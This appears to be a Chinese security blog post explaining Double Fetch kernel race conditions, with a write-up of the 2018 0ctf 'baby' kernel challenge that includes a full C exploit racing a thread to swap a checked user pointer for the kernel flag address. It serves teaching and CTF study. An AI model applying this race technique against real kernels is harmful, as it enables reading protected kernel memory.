条件竞争漏洞Double Fetch

2023-10-26

前言

Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

Double Fetch

Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。

0f0baa9d9329eb16c21163d4002f90a9.jpeg

论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。

f26962fb3bd6cc3ce0b975893fc397f0.jpeg

作者根据Double Fetch发生的场景,并将其进行分类

  • • 类型选择

  • • 长度检查

  • • 浅拷贝

类型选择

类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch

7d2f2ed1aea01fc2ef772ce1be6c52a2.jpeg

长度选择

长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_userarg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。

41fee840dc5341ec06dc53b4f66b52d1.jpeg

浅拷贝

浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。

6e88d1b401f61ad78df2b5a9819a3513.jpeg

举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。

cf6a1d48622086e01e40d92b931de3f8.jpeg

总结一下Double Fetch的利用流程

  • • 内核会从用户空间中获取数据,并且会两次获取相同空间的数据

  • • 在两次获取的过程中没有检测获取的数据是否一致

  • • 最后在两次获取的过程中,篡改该空间的数据

20180ctf-final-baby

题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby

在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。

6674a153420196eef2abde16e8e69cca.jpeg
image-20230713151512178

接着看校验函数,该函数很简单,接受三个参数,a1a2a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过&current_task中获取的。

f2af38d7832dde1f29630fa46b59d4f7.jpeg
image-20230713151905552

可以发现从&current_task中获取的地址为0x7ffffffff000

8dfa27ddcb7cc605a19351be3ac20346.jpeg
image-20230713153756972

下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。

b9c69bad766d099916b167b78cf52141.jpeg
image-20230713154124891

这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。

3c1be6c0353b27eea101dae54b107cde.jpeg
image-20230713154417553

那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测

  • • 检查传入的地址是否为用户空间的地址

  • • 检查传入的地址的内容的值是否为用户空间的地址

  • • 检查传入的长度是否与flag的长度一致

总的来说从用户空间中我们传入了一个结构体

typedef struct
{
    char *flag_addr;
    unsigned long flag_len;
};
9face6d2608be92662cf3e84487bb996.jpeg
image-20230713154600216

可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch

利用的思路如下

  • • 在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf

  • • 而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag

那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可

...
void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...

具体流程如下图,这里用线程的原因

  • • 主线程与子线程异步执行

  • • 线程之间共享内存信息

因此可以利用其他线程去修改共享的内存

96643027ed9c6447dc232ec3b9f181c4.jpeg
未命名文件 (1)

完整exp

#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>

#define MAXSIZE 1024
#define MAXTIME 1000000

unsigned long target_addr;
int finish;
typedef struct 
{
    char* flag_addr;
    unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;

void *
rewrite_flag_addr(void *arg)
{
    pdata data = (pdata)arg;
    while(finish == 0)
    {
        data->flag_addr = (char *)target_addr;
        //printf("%p\n",data_flag.flag_addr);
    }
}


int main()
{
    fd = open("/dev/baby", O_RDWR);
    __asm(
        ".intel_syntax noprefix;"
        "mov rax, 0x10;"
        "mov rdi, fd;"
        "mov rsi, 0x6666;"
        "syscall;"
        ".att_syntax;"
    ); 
    
    char buf[MAXSIZE];
    char *target;
    int count;
    int flag = open("/dev/kmsg", O_RDONLY);
    if (flag == -1)
        printf("open dmesg error");
    while ((count = read(flag, buf, MAXSIZE)) > 0)
    {
        if ((target = strstr(buf, "Your flag is at ")) > 0)
        {
            target = target + strlen("Your flag is at ");
            char *temp = strstr(target, "!");
            target[temp - target] = 0;
            target_addr = strtoul(target, NULL, 16);
            printf("flag address:0x%s\n",target);
            printf("flag address:0x%lx\n", target_addr);
            break;
        }
    } 
    data_flag.flag_addr = buf;
    data_flag.flag_len = 33;
    pthread_t ntid;
    int err;
    err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag); 
    for (int i = 0; i < MAXTIME; i++)
    {
        ioctl(fd, 0x1337, &data_flag);
        data_flag.flag_addr = buf;
        //printf("%d\n",i);
    }
    finish = 1;
    pthread_join(ntid, NULL);
    printf("end!");
    //system("dmesg | grep flag");
}

参考链接

  • • https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf

  • • https://ctf-wiki.org/pwn/linux/kernel-mode/exploitation/race/double-fetch/

  • • https://mudongliang.github.io/2022/07/11/2018-0CTF-Finals-Baby-Kernel.html

原创稿件征集

征集原创技术文章中,欢迎投递

投稿邮箱:edu@antvsion.com

文章类型:黑客极客技术、信息安全热点安全研究分析等安全相关

通过审核并发布能收获200-800元不等的稿酬。

更多详情,点我查看!

98a97e8f0c22c2ee7ebbe5d7e05fa851.gif

靶场实操,戳“阅读原文”

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

条件竞争漏洞Double Fetch 的相关文章

  • 浅谈能耗系统在马来西亚连锁餐饮业的应用

    1 背景信息 Background 针对连锁餐饮业能耗高且能源管理不合理的问题 利用计算机网络技术 通讯技术 计量控制技术等信息化技术 实现能源资源分类分项计量和能源资源运行监管功能 清晰描述各分店总的用能现状 实时监测各供电回路的电压 电
  • 成为一个黑客,就按照这个路线来!

    前几天一个同学在聊天中提到毕业后想要从事网络安全方向的工作 虽然他本身也是学计算机的 但是又怕心有余而力不足 因为 从事网络安全方面的工作向来起点都比较高 大学里少有开设这类课程的 在学校能够学到的知识比较有限 网上的关于这方面课程的质量又
  • 基于成本和服务质量考虑的不确定性下,电动汽车充电网络基础设施需求预测和迭代优化的分层框架研究(Python代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Python代码 数据
  • 5个步骤,教你瞬间明白线程和线程安全

    记得今年3月份刚来杭州面试的时候 有一家公司的技术总监问了我这样一个问题 你来说说有哪些线程安全的类 我心里一想 这我早都背好了 稀里哗啦说了一大堆 他又接着问 那你再来说说什么是线程安全 然后我就GG了 说真的 我们整天说线程安全 但是对
  • SRC漏洞挖掘经验+技巧篇

    一 漏洞挖掘的前期 信息收集 虽然是前期 但是却是我认为最重要的一部分 很多人挖洞的时候说不知道如何入手 其实挖洞就是信息收集 常规owasp top 10 逻辑漏洞 重要的可能就是思路猥琐一点 这些漏洞的测试方法本身不是特别复杂 一般混迹
  • 线程安全(中)--彻底搞懂synchronized(从偏向锁到重量级锁)

    接触过线程安全的同学想必都使用过synchronized这个关键字 在java同步代码快中 synchronized的使用方式无非有两个 通过对一个对象进行加锁来实现同步 如下面代码 synchronized lockObject 代码 对
  • 用户数据中的幸存者偏差

    幸存者偏差 Survivorship bias 是一种常见的逻辑谬误 意思是没有考虑到筛选的过程 忽略了被筛选掉的关键信息 只看到经过筛选后而产生的结果 先讲个故事 二战时 无奈德国空防强大 盟军战机损毁严重 于是军方便找来科学家统计飞机受
  • 白帽子如何快速挖到人生的第一个漏洞 | 购物站点挖掘商城漏洞

    本文针对人群 很多朋友们接触安全都是通过书籍 网上流传的PDF 亦或是通过论坛里的文章 但可能经过了这样一段时间的学习 了解了一些常见漏洞的原理之后 对于漏洞挖掘还不是很清楚 甚至不明白如何下手 可能你通过 sql labs 初步掌握了sq
  • Android开发中常见安全问题和解决方案

    前言 开发APP时经常有问到 APP的安全怎么保障 应用程序被PJ了怎么办 手机被人捡去了怎么办 特别在号称 安全第一 风控牛逼 的银行系统内 移动产品安全性仍被持有怀疑态度 那我们来总结下APP安全的方向和具体知识 1 应用程序安全 2
  • Android SDK开发艺术探索(五)安全与校验

    一 前言 本篇是Android SDK开发艺术探索系列的第五篇文章 介绍了一些SDK开发中安全方面的知识 包括资源完整性 存储安全 权限校验 传输安全 代码混淆等知识 通过基础的安全配置为SDK保驾护航 探索SDK开发在安全方面的最佳实践
  • 「网络安全渗透」如果你还不懂CSRF?这一篇让你彻底掌握

    1 什么是 CSRF 面试的时候的著名问题 谈一谈你对 CSRF 与 SSRF 区别的看法 这个问题 如果我们用非常通俗的语言讲的话 CSRF 更像是钓鱼的举动 是用户攻击用户的 而对于 SSRF 来说 是由服务器发出请求 用户 日 服务器
  • 【信道估计】【MIMO】【FBMC】未来移动通信的滤波器组多载波调制方案(Matlab代码实现)

    欢迎来到本博客 博主优势 博客内容尽量做到思维缜密 逻辑清晰 为了方便读者 座右铭 行百里者 半于九十 本文目录如下 目录 1 概述 2 运行结果 3 参考文献 4 Matlab代码及文章
  • 【网安神器篇】——WPScan漏洞扫描工具

    目录 一 Wordpress简介 二 WPScan介绍 三 安装 四 获取token 1 注册账号 2 拿到token 五 使用教程 1 常用选项 2 组合命令 1 模糊扫描 2 指定扫描用户 3 插件漏洞扫描 4 主题漏洞扫描 5 Tim
  • 基于java的物业管理系统设计与实现

    基于java的物业管理系统设计与实现 I 引言 A 研究背景和动机 物业管理系统是指对物业进行管理和服务的系统 该系统需要具备对物业信息 人员信息 财务信息等进行管理的能力 基于Java的物业管理系统设计与实现的研究背景和动机主要体现在以下
  • 揭秘网络世界的幕后密码——Wireshark网络协议分析软件

    在我们日常生活中 计算机和互联网已经成为不可或缺的一部分 然而 很少有人真正了解网络背后复杂的工作原理和通信协议 幸运的是 有一款强大而实用的软件 Wireshark 可以帮助我们深入了解网络世界的幕后密码 Wireshark是一款免费的网
  • 国外拨号VPS指南:开启你的全球网络之旅

    在当今数字化时代 互联网已经成为了我们生活的一部分 而要在全球范围内畅通无阻地访问互联网 拥有一个可靠的国外拨号VPS是非常重要的 无论您是为了工作 学习还是娱乐 国外拨号VPS都可以为您提供更广泛的网络体验 本文将为您提供国外拨号VPS的
  • 短信系统搭建主要因素|网页短信平台开发源码

    短信系统搭建主要因素 网页短信平台开发源码 随着移动互联网的快速发展 短信系统已成为企业和个人进行信息传递的重要工具 建立一个高效可靠的短信系统对于企业来说非常重要 下面我们将介绍一些影响短信系统搭建的主要因素 1 平台选择 在搭建短信系统
  • 全网最全(黑客)网络安全自学路线!熬夜两周整理(巨详细)

    学网络安全有什么好处 1 可以学习计算机方面的知识 在正式学习网络安全之前是一定要学习计算机基础知识的 只要把网络安全认真的学透了 那么计算机基础知识是没有任何问题的 操作系统 网络架构 网站容器 数据库 前端后端等等 可以说不想成为计算机
  • 静态综合实验

    1 IP地址划分 192 168 1 0 27 用于主干拆分 192 168 1 32 27 用于用户拆分 192 168 1 64 27 用于用户拆分 192 168 1 96 27 用于用户拆分 192 168 1 128 27 用于用
  • 【安全】Java幂等性校验解决重复点击(6种实现方式)

    目录 一 简介 1 1 什么是幂等 1 2 为什么需要幂等性 1 3 接口超时 应该如何处理 1 4 幂等性对系统的影响 二 Restful API 接口的幂等性 三 实现方式 3 1 数据库层面 主键 唯一索引冲突 3 2 数据库层面 乐

随机推荐

  • MySQL——使用mysqldump命令备份

    使用mysqldump命令备份 mysqldump命令可以将数据库中的数据备份成一个文本文件 表的结构和表中的数据将存储在生成的文本文件中 本节将介绍mysqldump命令的工作原理和使用方法 mysqldump命令的工作原理很简单 它先查
  • java基础面试题系列(81-90)

    请你说明ConcurrentHashMap有什么优势 1 7和1 8有什么区别 参考链接 https www cnblogs com like minded p 6805301 html 请你说明一下TreeMap的底层结构 TreeMap
  • 第十篇 -- Windows 下免费的GIF录制工具

    网址 https blog csdn net u013019701 article details 80550411 本人用的第二个 亲测好用 转载于 https www cnblogs com smart zihan p 11461101
  • [CISCN2019 华北赛区 Day2 Web1]Hack World

    1 测试过滤 我想到到了 联合注入 unin被过滤 报错注入 and or updatexml被过滤 bool注入和time注入 and or被过滤 可以通过fuzz测试 模糊测试 发现哪些字符被过滤了 length为482的 全都是被过滤
  • LLVM编译流程

    LLVM概述 LLVM是构架编译器 compliter 的框架系统 以C 编写而成 用于优化以任意程序语言编写的程序的便是时间 compile time 链接时间 link time 运行时间 run time 以及空闲时间 idle ti
  • 网络编程--TCP/IP协议

    参考 https lijie blog csdn net article details 105297532 https blog csdn net qq 20785973 article details 83104695 https bl
  • 华为OD机试 - 分苹果(Python)

    题目描述 A B两个人把苹果分为两堆 A希望按照他的计算规则等分苹果 他的计算规则是按照二进制加法计算 并且不计算进位 12 5 9 1100 0101 9 B的计算规则是十进制加法 包括正常进位 B希望在满足A的情况下获取苹果重量最多 输
  • JJWT三种算法的工具类实现

    前言 最近学习jwt生成token 一直各种报错 不知道怎么生成对应的秘钥 周末研究了一下 把jjwt的HMAC RSA ECDSA三种签名算法方式都实现了 并记录下来 依赖版本如下
  • 波场链通过Tron JS SDK TronWeb发送带备注的TRC - 20 转账及使用简介

    波场链通过tronWeb发送带备注的TRC 20 转账 var contractAddress TRC 20 合约 选择合约 法 let functionSelector transfer address uint256 根据 法构造参数
  • 应对程序员面试,你必须知道的八大数据结构

    大数据文摘出品 编译 Hope 睡不着的iris 胡笳 云舟 瑞士计算机科学家Niklaus Wirth在1976年写了一本书 名为 算法 数据结构 编程 40多年后 这个等式仍被奉为真理 这就是为什么在面试过程中 需要考察软件工程师对数据
  • java在大量增强for循环中找到某个特定对象去分析的方法-推荐使用debug工具(idea为例)

    场景 代码中有一部分增强for循环 里面是很复杂的处理逻辑 并且处理的AObjectList列表数量非常大 在这串代码中想看一下某个name为 小白 的对象的处理过程 如果断点直接打在for循环体内 可能要重复百次甚至千次以上才能找到这个对
  • 毕业设计-基于深度学习的目标检测算法

    目录 前言 课题背景和意义 实现技术思路 一 两阶段深度学习算法 二 单阶段深度学习方法 实现效果图样例 最后 前言 大四是整个大学期间最忙碌的时光 一边要忙着备考或实习为毕业后面临的就业升学做准备 一边要为毕业设计耗费大量精力 近几年各个
  • 华为OD机试 - 最大平分数组( Python)

    题目描述 给定一个数组nums 可以将元素分为若干个组 使得每组和相等 求出满足条件的所有分组中 最大的平分组个数 输入描述 第一行输入 m 接着输入m个数 表示此数组 数据范围 1 lt M lt 50 1 lt nums i lt 50
  • 使用C++的libcurl库实现HTTP的POST请求

    简介 libcurl库是由C语言编写的轻量级网络库 可以实现客户端的一些基本功能 本文使用libcurl库实现了HTTP的POST请求 代码 C 代码 使用POST方式完成对以下两个API的访问 localhost 8050 api dat
  • .NET框架介绍

    NET平台 如图所示最上层VB C C JScript等为编程语言 这些语言的基础是最底层的操作系统以及com组件和services服务程序 net语言的核心由 公共语言进行时 CLR 和基础类库 Base Class Library 两部
  • 【超分辨率】(EDSR)Enhanced Deep Residual Networks for Single Image Super-Resolution论文阅读笔记

    论文名称 Enhanced Deep Residual Networks for Single Image Super Resolution 论文下载地址 https arxiv org pdf 1707 02921 pdf 论文代码地址
  • 7.6、LSM6DSL_SENSOR_HUB模式

    7 6 LSM6DSL SENSOR HUB模式 文章目录 7 6 LSM6DSL SENSOR HUB模式 7 6 1 简介 7 6 2 LSM6DSL SENSOR HUB模式 7 6 3 sensor hub直连模式 7 6 4 测试
  • Flutter框架和原理剖析

    Flutter是Google推出并开源的跨平台开发框架 主打跨平台 高保真 高性能 开发者可以通过Dart语言开发Flutter应用 一套代码同时运行在ios和Android平台 不仅如此 flutter还支持web 桌面 嵌入应用的开发
  • 四象限运行模式_sem四象限分析法

    四象限分析法是SEM中一个常用方法 我们把账户内的关键词按照横坐标X 消费 纵坐标Y 转化 若无转化数据 替换为转化率 点击率均适用 按照以下四个象限进行分类 第一象限 高消费高转化 可能存在问题 账户设置待优化 主要 网站访问率 转化率低
  • 条件竞争漏洞Double Fetch

    前言 Double Fetch 双取 是一种条件竞争的漏洞 相关的论文发表在USENIX 论文链接 https www usenix org system files conference usenixsecurity17 sec17 wa